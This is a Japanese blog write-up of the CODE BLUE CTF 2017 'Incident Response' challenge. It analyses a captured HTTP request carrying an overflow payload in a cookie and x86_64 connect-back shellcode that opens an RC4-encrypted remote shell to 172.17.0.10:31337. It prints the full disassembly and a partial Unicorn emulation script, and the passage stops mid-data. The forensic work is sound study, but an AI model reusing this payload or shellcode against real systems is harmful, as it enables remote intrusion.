st98 の日記帳


[ctf] CODE BLUE CTF 2017 の write-up

チーム Harekaze で CODE BLUE CTF 2017 に参加しました。最終的にチームで 1480 点を獲得し、順位は得点 555 チーム中 17 位でした。うち、私は 3 問を解いて 955 点を入れました。

以下、解いた問題の write-up です。

[Misc 267] Incident Response

log.pcap という pcap ファイルが与えられました。

172.17.0.2:80 で Apache が動いているようで、様々な IP アドレスから勤怠管理を行っているっぽい Web アプリケーション (/cgi-bin/index.cgi) にアクセスがあります。

私が問題を見た時点で、@_ak1t0 さんが 172.17.0.10 から以下のような HTTP リクエストが送られているのを見つけていました。

GET /cgi-bin/index.cgi HTTP/1.1
Host: 172.17.0.2
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Cookie: sessid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00`%20`%00%00%00%00%00%0a%00%00%00%00%00%00%00%00!`%00%00%00%00%00%00%00%00%00%00%00%00%000%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00J%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00%00!`%00%00%00%00%00%07%00%00%00%00%00%00%00%00%10%00%00%00%00%00%00%00%20`%00%00%00%00%000%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00J%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00%00`%20`%00%00%00%00%00%07%04%00%00%00%00%00%00%00!`%00%00%00%00%00%00%00%00%00%00%00%00%000%0f@%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00!`%00%00%00%00%00
Content-Length: 1041

F	@............H1....H1.H.....H.........H.........H..	...I.....H.........H..!......H..)......H..*......H..9......H..;......H..<.....H..=...I.....f........USH..H./dev/ura1.H...H..H..$.D$.ndom.D$...V...H..... ......6......H...H...[].....G...........1...D..H...H=....u.1.1...@.D..D..H.....E..D...D.......D..L..H..D.L..H...D.D..H=....u...f.f.........H..L...tG..........W...........L........W.D..L..D.L...L...L.......D..0.H...I9.u.....@.f.........AWAV1.AUAT.!...USH......H..$....H.D$`....H.D$h....H.D$p....H.D$x....H..H.D$P....H.D$X.....H..L...........1................H.\$`H.t$P......zi..f.T$P.......f.L$RA...D$T...
L.t$@.....H...$.... ...H..D.......H..H...Y...E1.A......".............1......H..H.D$0H.D$.H.D$ H.D$.H..$....H.D$.f..D.......H..D...%...H........H=....t.....H..H..H...M...H.|$..(....K.....A..tg.|$4...... ..@.H..H..H.......L..H..D........|$0.....H.......H..I..u..|$0.....H.t$.1.1.D........T.....@.H./bin/sh.1..D$".H.D$@.-c..L..$....f.D$ H.D$.H..$....H..$........H..$.....P....|$0.G....|$4......Z...H.t$.1.L...s...............1..j...

この HTTP リクエストの後で 172.17.0.2:50306172.17.0.10:31337 と暗号化された通信を行っています。

HTTP リクエストボディはシェルコードでしょうか。H が頻出していること、また /dev/urandom/dev/ura ndom の 2 つに分割されていることから、x86_64 の connect-back なシェルコードであると判断しました。

objdump で逆アセンブルしてみましょう。


156.bin:     file format binary


Disassembly of section .data:

0000000000000000 <.data>:
   0:	46 09 40 00          	rex.RX or DWORD PTR [rax+0x0],r8d
   4:	00 00                	add    BYTE PTR [rax],al
   6:	00 00                	add    BYTE PTR [rax],al
   8:	00 00                	add    BYTE PTR [rax],al
   a:	e9 ab 01 00 00       	jmp    0x1ba
   f:	48 31 c0             	xor    rax,rax
  12:	0f 05                	syscall 
  14:	c3                   	ret    
  15:	48 31 c0             	xor    rax,rax
  18:	48 ff c0             	inc    rax
  1b:	0f 05                	syscall 
  1d:	c3                   	ret    
  1e:	48 c7 c0 02 00 00 00 	mov    rax,0x2
  25:	0f 05                	syscall 
  27:	c3                   	ret    
  28:	48 c7 c0 03 00 00 00 	mov    rax,0x3
  2f:	0f 05                	syscall 
  31:	c3                   	ret    
  32:	48 c7 c0 09 00 00 00 	mov    rax,0x9
  39:	49 89 ca             	mov    r10,rcx
  3c:	0f 05                	syscall 
  3e:	c3                   	ret    
  3f:	48 c7 c0 16 00 00 00 	mov    rax,0x16
  46:	0f 05                	syscall 
  48:	c3                   	ret    
  49:	48 c7 c0 21 00 00 00 	mov    rax,0x21
  50:	0f 05                	syscall 
  52:	c3                   	ret    
  53:	48 c7 c0 29 00 00 00 	mov    rax,0x29
  5a:	0f 05                	syscall 
  5c:	c3                   	ret    
  5d:	48 c7 c0 2a 00 00 00 	mov    rax,0x2a
  64:	0f 05                	syscall 
  66:	c3                   	ret    
  67:	48 c7 c0 39 00 00 00 	mov    rax,0x39
  6e:	0f 05                	syscall 
  70:	c3                   	ret    
  71:	48 c7 c0 3b 00 00 00 	mov    rax,0x3b
  78:	0f 05                	syscall 
  7a:	c3                   	ret    
  7b:	48 c7 c0 3c 00 00 00 	mov    rax,0x3c
  82:	0f 05                	syscall 
  84:	48 c7 c0 3d 00 00 00 	mov    rax,0x3d
  8b:	49 89 ca             	mov    r10,rcx
  8e:	0f 05                	syscall 
  90:	c3                   	ret    
  91:	66 0f 1f 84 00 00 00 	nop    WORD PTR [rax+rax*1+0x0]
  98:	00 00 
  9a:	55                   	push   rbp
  9b:	53                   	push   rbx
  9c:	48 89 fd             	mov    rbp,rdi
  9f:	48 b8 2f 64 65 76 2f 	movabs rax,0x6172752f7665642f
  a6:	75 72 61 
  a9:	31 f6                	xor    esi,esi
  ab:	48 83 ec 18          	sub    rsp,0x18
  af:	48 89 e7             	mov    rdi,rsp
  b2:	48 89 04 24          	mov    QWORD PTR [rsp],rax
  b6:	c7 44 24 08 6e 64 6f 	mov    DWORD PTR [rsp+0x8],0x6d6f646e
  bd:	6d 
  be:	c6 44 24 0c 00       	mov    BYTE PTR [rsp+0xc],0x0
  c3:	e8 56 ff ff ff       	call   0x1e
  c8:	48 89 ee             	mov    rsi,rbp
  cb:	89 c3                	mov    ebx,eax
  cd:	ba 20 00 00 00       	mov    edx,0x20
  d2:	89 c7                	mov    edi,eax
  d4:	e8 36 ff ff ff       	call   0xf
  d9:	89 df                	mov    edi,ebx
  db:	e8 48 ff ff ff       	call   0x28
  e0:	48 83 c4 18          	add    rsp,0x18
  e4:	5b                   	pop    rbx
  e5:	5d                   	pop    rbp
  e6:	c3                   	ret    
  e7:	0f 1f 00             	nop    DWORD PTR [rax]
  ea:	c7 47 04 00 00 00 00 	mov    DWORD PTR [rdi+0x4],0x0
  f1:	c7 07 00 00 00 00    	mov    DWORD PTR [rdi],0x0
  f7:	31 c0                	xor    eax,eax
  f9:	90                   	nop
  fa:	88 44 07 08          	mov    BYTE PTR [rdi+rax*1+0x8],al
  fe:	48 83 c0 01          	add    rax,0x1
 102:	48 3d 00 01 00 00    	cmp    rax,0x100
 108:	75 f0                	jne    0xfa
 10a:	31 c0                	xor    eax,eax
 10c:	31 d2                	xor    edx,edx
 10e:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
 112:	44 0f b6 44 07 08    	movzx  r8d,BYTE PTR [rdi+rax*1+0x8]
 118:	48 89 c1             	mov    rcx,rax
 11b:	83 e1 1f             	and    ecx,0x1f
 11e:	45 89 c2             	mov    r10d,r8d
 121:	44 02 14 0e          	add    r10b,BYTE PTR [rsi+rcx*1]
 125:	44 89 d1             	mov    ecx,r10d
 128:	01 ca                	add    edx,ecx
 12a:	0f b6 ca             	movzx  ecx,dl
 12d:	44 0f b6 4c 0f 08    	movzx  r9d,BYTE PTR [rdi+rcx*1+0x8]
 133:	48 89 ca             	mov    rdx,rcx
 136:	44 88 4c 07 08       	mov    BYTE PTR [rdi+rax*1+0x8],r9b
 13b:	48 83 c0 01          	add    rax,0x1
 13f:	44 88 44 0f 08       	mov    BYTE PTR [rdi+rcx*1+0x8],r8b
 144:	48 3d 00 01 00 00    	cmp    rax,0x100
 14a:	75 c6                	jne    0x112
 14c:	f3 c3                	repz ret 
 14e:	66 90                	xchg   ax,ax
 150:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
 157:	00 00 00 
 15a:	48 85 d2             	test   rdx,rdx
 15d:	4c 8d 14 16          	lea    r10,[rsi+rdx*1]
 161:	74 47                	je     0x1aa
 163:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0]
 16a:	8b 07                	mov    eax,DWORD PTR [rdi]
 16c:	8b 57 04             	mov    edx,DWORD PTR [rdi+0x4]
 16f:	83 c0 01             	add    eax,0x1
 172:	0f b6 c0             	movzx  eax,al
 175:	89 07                	mov    DWORD PTR [rdi],eax
 177:	0f b6 4c 07 08       	movzx  ecx,BYTE PTR [rdi+rax*1+0x8]
 17c:	01 ca                	add    edx,ecx
 17e:	0f b6 d2             	movzx  edx,dl
 181:	89 57 04             	mov    DWORD PTR [rdi+0x4],edx
 184:	44 0f b6 4c 17 08    	movzx  r9d,BYTE PTR [rdi+rdx*1+0x8]
 18a:	44 88 4c 07 08       	mov    BYTE PTR [rdi+rax*1+0x8],r9b
 18f:	88 4c 17 08          	mov    BYTE PTR [rdi+rdx*1+0x8],cl
 193:	02 4c 07 08          	add    cl,BYTE PTR [rdi+rax*1+0x8]
 197:	0f b6 c9             	movzx  ecx,cl
 19a:	0f b6 44 0f 08       	movzx  eax,BYTE PTR [rdi+rcx*1+0x8]
 19f:	30 06                	xor    BYTE PTR [rsi],al
 1a1:	48 83 c6 01          	add    rsi,0x1
 1a5:	49 39 f2             	cmp    r10,rsi
 1a8:	75 c0                	jne    0x16a
 1aa:	f3 c3                	repz ret 
 1ac:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
 1b0:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
 1b7:	00 00 00 
 1ba:	41 57                	push   r15
 1bc:	41 56                	push   r14
 1be:	31 c0                	xor    eax,eax
 1c0:	41 55                	push   r13
 1c2:	41 54                	push   r12
 1c4:	b9 21 00 00 00       	mov    ecx,0x21
 1c9:	55                   	push   rbp
 1ca:	53                   	push   rbx
 1cb:	48 81 ec b8 01 00 00 	sub    rsp,0x1b8
 1d2:	48 8d ac 24 a0 00 00 	lea    rbp,[rsp+0xa0]
 1d9:	00 
 1da:	48 c7 44 24 60 00 00 	mov    QWORD PTR [rsp+0x60],0x0
 1e1:	00 00 
 1e3:	48 c7 44 24 68 00 00 	mov    QWORD PTR [rsp+0x68],0x0
 1ea:	00 00 
 1ec:	48 c7 44 24 70 00 00 	mov    QWORD PTR [rsp+0x70],0x0
 1f3:	00 00 
 1f5:	48 c7 44 24 78 00 00 	mov    QWORD PTR [rsp+0x78],0x0
 1fc:	00 00 
 1fe:	48 89 ef             	mov    rdi,rbp
 201:	48 c7 44 24 50 00 00 	mov    QWORD PTR [rsp+0x50],0x0
 208:	00 00 
 20a:	48 c7 44 24 58 00 00 	mov    QWORD PTR [rsp+0x58],0x0
 211:	00 00 
 213:	f3 48 ab             	rep stos QWORD PTR es:[rdi],rax
 216:	e8 4c fe ff ff       	call   0x67
 21b:	85 c0                	test   eax,eax
 21d:	0f 85 e7 01 00 00    	jne    0x40a
 223:	31 d2                	xor    edx,edx
 225:	be 01 00 00 00       	mov    esi,0x1
 22a:	bf 02 00 00 00       	mov    edi,0x2
 22f:	e8 1f fe ff ff       	call   0x53
 234:	48 8d 5c 24 60       	lea    rbx,[rsp+0x60]
 239:	48 8d 74 24 50       	lea    rsi,[rsp+0x50]
 23e:	ba 02 00 00 00       	mov    edx,0x2
 243:	b9 7a 69 00 00       	mov    ecx,0x697a
 248:	66 89 54 24 50       	mov    WORD PTR [rsp+0x50],dx
 24d:	89 c7                	mov    edi,eax
 24f:	ba 10 00 00 00       	mov    edx,0x10
 254:	66 89 4c 24 52       	mov    WORD PTR [rsp+0x52],cx
 259:	41 89 c4             	mov    r12d,eax
 25c:	c7 44 24 54 ac 11 00 	mov    DWORD PTR [rsp+0x54],0xa0011ac
 263:	0a 
 264:	4c 8d 74 24 40       	lea    r14,[rsp+0x40]
 269:	e8 ef fd ff ff       	call   0x5d
 26e:	48 89 df             	mov    rdi,rbx
 271:	e8 24 fe ff ff       	call   0x9a
 276:	ba 20 00 00 00       	mov    edx,0x20
 27b:	48 89 de             	mov    rsi,rbx
 27e:	44 89 e7             	mov    edi,r12d
 281:	e8 8f fd ff ff       	call   0x15
 286:	48 89 de             	mov    rsi,rbx
 289:	48 89 ef             	mov    rdi,rbp
 28c:	e8 59 fe ff ff       	call   0xea
 291:	45 31 c9             	xor    r9d,r9d
 294:	41 b8 ff ff ff ff    	mov    r8d,0xffffffff
 29a:	b9 22 00 00 00       	mov    ecx,0x22
 29f:	ba 03 00 00 00       	mov    edx,0x3
 2a4:	be 00 10 00 00       	mov    esi,0x1000
 2a9:	31 ff                	xor    edi,edi
 2ab:	e8 82 fd ff ff       	call   0x32
 2b0:	48 89 c3             	mov    rbx,rax
 2b3:	48 8d 44 24 30       	lea    rax,[rsp+0x30]
 2b8:	48 89 44 24 08       	mov    QWORD PTR [rsp+0x8],rax
 2bd:	48 8d 44 24 20       	lea    rax,[rsp+0x20]
 2c2:	48 89 44 24 18       	mov    QWORD PTR [rsp+0x18],rax
 2c7:	48 8d 84 24 80 00 00 	lea    rax,[rsp+0x80]
 2ce:	00 
 2cf:	48 89 44 24 10       	mov    QWORD PTR [rsp+0x10],rax
 2d4:	66 0f 1f 44 00 00    	nop    WORD PTR [rax+rax*1+0x0]
 2da:	ba 00 10 00 00       	mov    edx,0x1000
 2df:	48 89 de             	mov    rsi,rbx
 2e2:	44 89 e7             	mov    edi,r12d
 2e5:	e8 25 fd ff ff       	call   0xf
 2ea:	48 85 c0             	test   rax,rax
 2ed:	0f 84 17 01 00 00    	je     0x40a
 2f3:	48 3d 00 10 00 00    	cmp    rax,0x1000
 2f9:	74 04                	je     0x2ff
 2fb:	c6 04 03 00          	mov    BYTE PTR [rbx+rax*1],0x0
 2ff:	48 89 c2             	mov    rdx,rax
 302:	48 89 de             	mov    rsi,rbx
 305:	48 89 ef             	mov    rdi,rbp
 308:	e8 4d fe ff ff       	call   0x15a
 30d:	48 8b 7c 24 08       	mov    rdi,QWORD PTR [rsp+0x8]
 312:	e8 28 fd ff ff       	call   0x3f
 317:	e8 4b fd ff ff       	call   0x67
 31c:	85 c0                	test   eax,eax
 31e:	41 89 c5             	mov    r13d,eax
 321:	74 67                	je     0x38a
 323:	8b 7c 24 34          	mov    edi,DWORD PTR [rsp+0x34]
 327:	e8 fc fc ff ff       	call   0x28
 32c:	eb 20                	jmp    0x34e
 32e:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
 332:	48 89 c2             	mov    rdx,rax
 335:	48 89 de             	mov    rsi,rbx
 338:	48 89 ef             	mov    rdi,rbp
 33b:	e8 1a fe ff ff       	call   0x15a
 340:	4c 89 fa             	mov    rdx,r15
 343:	48 89 de             	mov    rsi,rbx
 346:	44 89 e7             	mov    edi,r12d
 349:	e8 c7 fc ff ff       	call   0x15
 34e:	8b 7c 24 30          	mov    edi,DWORD PTR [rsp+0x30]
 352:	ba 00 10 00 00       	mov    edx,0x1000
 357:	48 89 de             	mov    rsi,rbx
 35a:	e8 b0 fc ff ff       	call   0xf
 35f:	48 85 c0             	test   rax,rax
 362:	49 89 c7             	mov    r15,rax
 365:	75 cb                	jne    0x332
 367:	8b 7c 24 30          	mov    edi,DWORD PTR [rsp+0x30]
 36b:	e8 b8 fc ff ff       	call   0x28
 370:	48 8b 74 24 10       	mov    rsi,QWORD PTR [rsp+0x10]
 375:	31 c9                	xor    ecx,ecx
 377:	31 d2                	xor    edx,edx
 379:	44 89 ef             	mov    edi,r13d
 37c:	e8 03 fd ff ff       	call   0x84
 381:	e9 54 ff ff ff       	jmp    0x2da
 386:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
 38a:	48 b8 2f 62 69 6e 2f 	movabs rax,0x68732f6e69622f
 391:	73 68 00 
 394:	31 ff                	xor    edi,edi
 396:	c6 44 24 22 00       	mov    BYTE PTR [rsp+0x22],0x0
 39b:	48 89 44 24 40       	mov    QWORD PTR [rsp+0x40],rax
 3a0:	b8 2d 63 00 00       	mov    eax,0x632d
 3a5:	4c 89 b4 24 80 00 00 	mov    QWORD PTR [rsp+0x80],r14
 3ac:	00 
 3ad:	66 89 44 24 20       	mov    WORD PTR [rsp+0x20],ax
 3b2:	48 8b 44 24 18       	mov    rax,QWORD PTR [rsp+0x18]
 3b7:	48 89 9c 24 90 00 00 	mov    QWORD PTR [rsp+0x90],rbx
 3be:	00 
 3bf:	48 c7 84 24 98 00 00 	mov    QWORD PTR [rsp+0x98],0x0
 3c6:	00 00 00 00 00 
 3cb:	48 89 84 24 88 00 00 	mov    QWORD PTR [rsp+0x88],rax
 3d2:	00 
 3d3:	e8 50 fc ff ff       	call   0x28
 3d8:	8b 7c 24 30          	mov    edi,DWORD PTR [rsp+0x30]
 3dc:	e8 47 fc ff ff       	call   0x28
 3e1:	8b 7c 24 34          	mov    edi,DWORD PTR [rsp+0x34]
 3e5:	be 01 00 00 00       	mov    esi,0x1
 3ea:	e8 5a fc ff ff       	call   0x49
 3ef:	48 8b 74 24 10       	mov    rsi,QWORD PTR [rsp+0x10]
 3f4:	31 d2                	xor    edx,edx
 3f6:	4c 89 f7             	mov    rdi,r14
 3f9:	e8 73 fc ff ff       	call   0x71
 3fe:	e9 d7 fe ff ff       	jmp    0x2da
 403:	0f 1f 80 00 00 00 00 	nop    DWORD PTR [rax+0x0]
 40a:	31 ff                	xor    edi,edi
 40c:	e8 6a fc ff ff       	call   0x7b

どうやらストリーム暗号で暗号化しているようで、0xea が初期化を行う関数、0x15a がキーストリームを生成する関数のようです。

Unicorn でエミュレートしてみましょう。

from unicorn import *
from unicorn.x86_const import *

urandom = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda'
encrypted = [
  '\x50\xbd',
  '\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24',
  '\x10\xb6\xf8',
  '\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15',
  '\x3c\x18\x14\xac\x38\xa9',
  '\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac',
  '\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25',
  '\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98',
  '\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0',
  '\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca',
  '\xaa\x42\x5a\xa7\xd0\x96\xa9\x35',
